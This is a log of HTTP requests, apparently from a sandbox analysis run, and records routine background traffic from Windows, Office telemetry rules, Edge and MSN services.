Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=xy+C3Wpb2k8Ug5Z&MD=cYzwUATg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1731358760998&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1BD2121F17CE6DB91D24072B16C96CCE&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=1BD2121F17CE6DB91D24072B16C96CCE&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=ef501e277f9a4e35be497bb0aaeb6886 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=1BD2121F17CE6DB91D24072B16C96CCE; _EDGE_S=F=1&SID=20295578219E60AA12F3404C2065619B; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731358760998&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1BD2121F17CE6DB91D24072B16C96CCE&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=194ec1d498ddfae943a29721731358762; XID=194ec1d498ddfae943a29721731358762
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO7.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731358760997&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=0c3054038b4c4f29955c63eaffb76002&activityId=0c3054038b4c4f29955c63eaffb76002&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=57EEA38E2A8F4411B12610F0A2EF9718&MUID=1BD2121F17CE6DB91D24072B16C96CCE HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=1BD2121F17CE6DB91D24072B16C96CCE; _EDGE_S=F=1&SID=20295578219E60AA12F3404C2065619B; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=1BD2121F17CE6DB91D24072B16C96CCE&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=0b49f2dd8eee4d659e71d5fe5b034a07 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=1BD2121F17CE6DB91D24072B16C96CCE; _EDGE_S=F=1&SID=20295578219E60AA12F3404C2065619B; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1731963557&P2=404&P3=2&P4=m8ufwGQkhhQHuXV0bnjuoiBUoQHkqtN%2bUhVc4h945N1rHNpD1moKc8jcR8hNi6raQbd67zT7oyrB2ivx5rcfZQ%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: vqK2ITipwAcN18P5B4FYYeSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
